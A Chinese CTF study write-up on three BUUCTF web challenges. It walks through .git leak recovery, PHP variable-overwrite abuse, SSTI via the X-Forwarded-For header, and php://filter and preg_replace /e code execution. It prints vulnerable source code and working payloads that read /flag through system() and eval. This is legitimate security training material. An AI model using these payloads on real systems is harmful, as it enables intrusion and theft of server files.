知识点
PHP foreach循环
- PHP foreach 循环结构是遍历数组时常用的方法,foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量或者未初始化的变量将发出错误信息。
- foreach 有以下两种语法格式:
//格式1
foreach (array_expression as $value){
statement
}
//格式2
foreach (array_expression as $key => $value){
statement
}第一种格式遍历 array_expression 数组时,每次循环将数组的值赋给 $value;第二种遍历不仅将数组值赋给 $value,还将键名赋给 $key。
举例演示两种格式的不同:<?php $array = [0, 1, 2]; foreach ($array as $val){ echo "值是:" . $val ; echo "<br/>"; } foreach ($array as $key => $value) { echo "键名是:" . $key . "值是:" . $value; echo "<br/>"; } ?>
执行以上代码打印的结果是:
值是:0 值是:1 值是:2 键名是:0值是:0 键名是:1值是:1 键名是:2值是:2
$$
导致变量覆盖漏洞
SSTI注入
php伪协议
- php://input:把post数据当做php代码执行,注意:enctype="multipart/form-data"的时候这个伪协议没用
- 详情可见 https://blog.csdn.net/qq_43622442/article/details/105894182
file_get_contents() 函数
- 语法:file_get_contents(path,include_path,context,start,max_length)
- 参数:
- 作用:
preg_replace() 函数
-
语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- 参数:
- 作用: preg_replace 函数执行一个正则表达式的搜索和替换。
- 深入研究preg_replace与代码执行
反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问
19-1 [BJDCTF2020]Mark loves cat
做题思路
没找到什么提示,于是目录扫描,发现.git泄露,
GitHack.py
下载源码:python GitHack.py http://b77333f7-af9a-4f4a-aad0-b328ef9c8369.node3.buuoj.cn/.git
得到两个php文件,接下来就是代码审计:
flag.php
:<?php $flag = file_get_contents('/flag');
index.php
:<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;
分析:
- 前两个
foreach
语句分别将POST
参数和GET
参数进行变量覆盖,接着是三个if语句,exit()
函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。- 首先我们想到的是让脚本执行到最后一句
echo $flag;
,但即使绕过三个if语句,我们GET
传参或者POST
传参的flag总会被变量覆盖:如我们GET
传参flag=aaa,在第二个foreach语句中变成$flag
=$aaa
,而$aaa
变量没有定义,所以为空,则最后的输出就是空。 同理:我们POST
传参flag=aaa,在第一个foreach语句中变成$flag
= aaa,flag被覆盖为‘aaa’,最后输出aaa- 由此看来,这样行不通,回过头来前面说到if语句中的
exit()
函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()
函数内的参数用$flag
覆盖掉就能输出flag了;- 思路理清了,这里面有三个if语句,其中有两个能利用变量覆盖输出flag,也就是说有两种方法
- 一是第二个if语句中可以看到这里是输出的
$yds
变量,那么我们就要通过变量覆盖达到$yds=$flag
的效果,GET
传参yds=flag
,在第二个foreach
语句中,首先是$x
=yds,$y
=flag,经过$$x
=$$y
也就变成了$yds=$flag
,这是其一;- 二是第三个if语句中输出变量
$is
,判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'
,这里可以通过满足后面这个条件进行变量覆盖:GET
传参is=flag&flag=flag;在第二个foreach
语句中,首先是$x
=is,$y
=flag,带进去就变成了$is=$flag
,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句;
19-2 [BJDCTF2020]The mystery of ip
做题思路
根据题目ip联想到 X-Forwarded-For 处可能有问题
然后打开题目之后有个flag,是我的IP,于是猜测这里是不是注入点
抓包 之后输入 X-Forwarded-For:127.0.0.1
尝试注入之后,不是SQL注入
看WP后发现,原来是SSTI注入
在XFF请求中加入{{1+1}}
ip发生了变化,1+1的结果并在了127.0.0.1后面
于是构造payload: X-Forwarded-For:127.0.0.1{{system('find / -name flag')}}
flag在/flag中,于是cat查看一手,得到flag
X-Forwarded-For:127.0.0.1{{system('cat /flag')}}
19-3 [BJDCTF2020]ZJCTF,不过如此
做题思路
打开网站,审计,第一个if可以用php://input 或者 data://伪协议绕过,php伪协议分析可看php伪协议:
然后提示next.php文件,这里可以用php://filter伪协议拿到它的源码:
payload:http://7562c593-f8e7-48a0-93b6-b8b26eee8f9b.node3.buuoj.cn/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
post数据:I have a dream
得到
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。
这里第二个参数固定为strtolower("\\1")
这里的\\1
实际上体现为\1
因为GET方式传的字符串,.会被替换成_,所以这里采用
\S*=${phpinfo()} \S 在php正则表达式中表示匹配所有非空字符,*表示多次匹配
最终payload
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');